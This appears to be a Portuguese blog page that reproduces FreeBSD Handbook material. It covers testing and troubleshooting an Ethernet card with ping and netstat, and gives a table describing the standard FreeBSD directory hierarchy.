Após reinicializar o sistema, você deve testar as interfaces de rede.

6.8.3.1. Testando a Placa Ethernet

Para verificar se uma placa Ethernet foi configurada corretamente, você precisa tentar duas coisas. Primeiro, execute o comando ping para a sua própria interface, e então faça o mesmo para outra máquina na sua Rede Local.
Primeiro teste para a interface local:
% ping -c5 192.168.1.3
PING 192.168.1.3 (192.168.1.3): 56 data bytes
64 bytes from 192.168.1.3: icmp_seq=0 ttl=64 time=0.082 ms
64 bytes from 192.168.1.3: icmp_seq=1 ttl=64 time=0.074 ms
64 bytes from 192.168.1.3: icmp_seq=2 ttl=64 time=0.076 ms
64 bytes from 192.168.1.3: icmp_seq=3 ttl=64 time=0.108 ms
64 bytes from 192.168.1.3: icmp_seq=4 ttl=64 time=0.076 ms

--- 192.168.1.3 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.074/0.083/0.108/0.013 ms
Agora temos que usar o ping para outra máquina na Rede Local:
% ping -c5 192.168.1.2
PING 192.168.1.2 (192.168.1.2): 56 data bytes
64 bytes from 192.168.1.2: icmp_seq=0 ttl=64 time=0.726 ms
64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=0.766 ms
64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=0.700 ms
64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=0.747 ms
64 bytes from 192.168.1.2: icmp_seq=4 ttl=64 time=0.704 ms

--- 192.168.1.2 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.700/0.729/0.766/0.025 ms
Você também pode usar o nome da máquina ao invés de 192.168.1.2 se você configurou o arquivo /etc/hosts.

6.8.3.2. Resolução de Problemas

Resolução de problemas de configuração de hardware e software sempre é doloroso, e uma dor que pode ser aliviada através da checagem de coisas simples antes de qualquer coisa. Seu cabo de rede está conectado? Você configurou os serviços de rede corretamente? Você configurou o firewall corretamente? A placa de rede que você está usando é suportada pelo FreeBSD? Sempre verifique as notas de hardware antes de enviar um relatório de falha. Atualize sua versão do FreeBSD para a última versão STABLE. Verifique os arquivos das listas de discussão, ou procure na Internet.
Se a placa funcionar, e a performance estiver ruim, vale dar uma lida na página de manual tuning(7). Você também pode verificar configurações de rede incorretas, que podem provocar lentidão nas conexões.
Alguns usuários passam por problemas de um ou dois ``device timeouts'', que é normal em algumas placas. Se eles continuarem, ou começar a incomodar, você pode querer ter certeza de que o dispositivo não está conflitando com outro dispositivo. Faça uma verificação dupla das conexões de cabeamento. Talvez você apenas precise de outra placa.
Algumas vezes, os usuários percebem pequenos erros ``watchdog timeout''. A primeira coisa a ser feita é checar o cabo da conexão. Muitas placas requerem um slot PCI que suporte gerenciamento de barramento. Em algumas placas-mãe antigas, apenas um slot permite isso (geralmente o slot 0). Verifique a documentação da placa de rede e da placa-mãe para saber se isto pode ser um problema.
A mensagem ``No route to host'' acontece quando o sistema não é capaz de rotear um pacote para a máquina de destino. Isto pode acontecer se nenhuma rota padrão for especificada, ou se um cabo estiver desconectado. Verifique a saída do comando netstat -rn e tenha certeza de que exista uma rota válida para a máquina que você está tentando alcançar. Se não existir, leia o Capítulo 19.
As mensagens de erro ``ping: sendto: Permission denied'' geralmente são provocadas por um firewall desconfigurado. Se o ipfw estiver habilitado no kernel mas não existirem regras definidas, então a política padrão é de negar todo o tráfego, até mesmo as requisições de ping! Leia a Seção 10.8 para maiores informações.
Algumas vezes a performance da placa é ruim, ou abaixo do normal. Nestes casos é melhor configurar o modo de seleção de mídia de autoselect para a velocidade correta. Enquanto isto pode funcionar para grande parte dos equipamentos, talvez não resolva o problema de todos. Novamente, verifique toda a configuração de rede, e leia a página de manual tuning(7).

Fonte

Estrutura de Diretórios - FreeBSD

0 comentários
 Conhecer a hierarquia de diretórios do FreeBSD é fundamental para se obter entendimento total do sistema. O conceito mais importante para se assimilar é o conceito do diretório raíz, o ``/''. Esse diretório é montado inicialmente no momento em que o sistema é carregado, e ele contém o sistema base necessário para preparar a entrada em modo de operação multi-usuário do sistema operacional. O diretório raiz contém ainda pontos de montagem para cada outro sistema de arquivos que você queira montar.
Um ponto de montagem é um diretório onde sistemas de arquivos adicionais podem ser acoplados ao sistema de arquivos raíz. Pontos de montagem padrão incluem /usr, /var, /mnt, e /cdrom. Esses diretórios normalmente são encontrados como entradas dispostas no arquivo /etc/fstab. O /etc/fstab é uma tabela com vários sistemas de arquivos e pontos de montagem que o sistema usa como referência. A maioria dos sistemas de arquivos no /etc/fstab são montados automaticamente no momento da inicialização, à partir do script rc(8) a não ser que eles contenham a opção noauto definida. Consulte a página de manual do fstab(5) para obter mais informações sobre o formato do arquivo /etc/fstab e seu conteúdo.
Uma descrição completa da hierarquia do sistema de arquivos está disponível na página de manual hier(7). Por hora, uma breve descrição dos diretórios mais comuns será abordada:

Diretório
Descrição
/
Diretório raíz do sistema de arquivo.
/bin/
Utilitários do usuário, fundamentais para os ambientes de multi-usuário e mono-usuário.
/boot/
Arquivos e programas de configuração que são usados durante o processo de inicialização do sistema operacional.
/boot/defaults/
Arquuivos de configuração padrão do sistema de inicializaçào, veja a página de manual loader.conf(5).
/dev/
Dispositivos de controle; veja intro(4).
/etc/
Arquivos e scripts de configuração do sistema.
/etc/defaults/
Arquivos de configuração padrão do sistema; veja rc(8).
/etc/mail/
Arquivos de configuração para os agentes de transferência de correio, como o sendmail(8).
/etc/namedb/
Arquivos de configuração do named; veja named(8).
/etc/periodic/
Scripts que são executados diariamente, semanalmente e mensalmente por meio do cron(8); veja periodic(8).
/etc/ppp/
Arquivos de configuração do ppp; veja ppp(8).
/mnt/
Diretório vazio normalmente utilizado pelos administradores de sistemas como ponto de montagem temporário.
/proc/
Sistema de arquivos de processos; veja procfs(5) e mount_procfs(8).
/root/
Diretório home da conta de usuário root.
/sbin/
Utilitários de programas e administração, fundamentais para os ambientes de multi-usuário e mono-usuário.
/stand/
Programas usados no ambiente independente.
/tmp/
Arquivos temporários, normalmente um diretório montado em memória por meio do mfs(8) ( o conteúdo do /tmp normalmente NÃO é preservado durante uma reinicialização do sistema).
/usr/
A maioria dos utilitários e aplicações de usuários.
/usr/bin/
Utilitários comuns, ferramentas de programação e aplicações.
/usr/include/
Arquivos C padrão de inclusão.
/usr/lib/
Bibliotecas.
/usr/libdata/
Arquivos de dados de utilitários variados.
/usr/libexec/
Daemons & utilitários do sistema (executados por outros programas).
/usr/local/
Executáveis locais, bibliotecas, etc. Também utilizado como destino padrão para o sistema de Ports. Dentro de /usr/local, a disposição hierárquica geral é definida pelo hier(7) como o definido pelo /usr. Exceto o diretório de páginas de manuais que são diretamente dispostas sob /usr/local ao invés de serem sobre /usr/local/share, e a documentação das aplicações de terceiros, que ficam sob share/doc/port.
/usr/obj/
Arquivo de destino dos objetos binários específicos para cada arquitetura, constribuídos à partir da árvore /usr/src.
/usr/ports
A Coleção de Ports do FreeBSD (opcional).
/usr/sbin/
Daemons & utilitários do sistema (executados por usuários).
/usr/share/
Arquivos independentes de arquitetura.
/usr/src/
Arquivos de fontes locais e/ou BSD.
/usr/X11R6/
Executáveis da distribuição do X11R6, bibliotecas, etc (opcional).
/var/
Arquivos de log de múltiplos propósitos, arquivos temporários, de transição, e arquivos de bobina (spool).
/var/log/
Arquivos de logs variados do sistema.
/var/mail/
Arquivos de caixa de corrêio dos usuários.
/var/spool/
Diretórios de spool de impressão e de correio.
/var/tmp/
Arquivos temporários que são mantidos entre reinicializações do sistema.
/var/yp
Mapas NIS.
 
Copyright © Masterplan
Blogger Theme by BloggerThemes Sponsored by Busy Buzz Blogging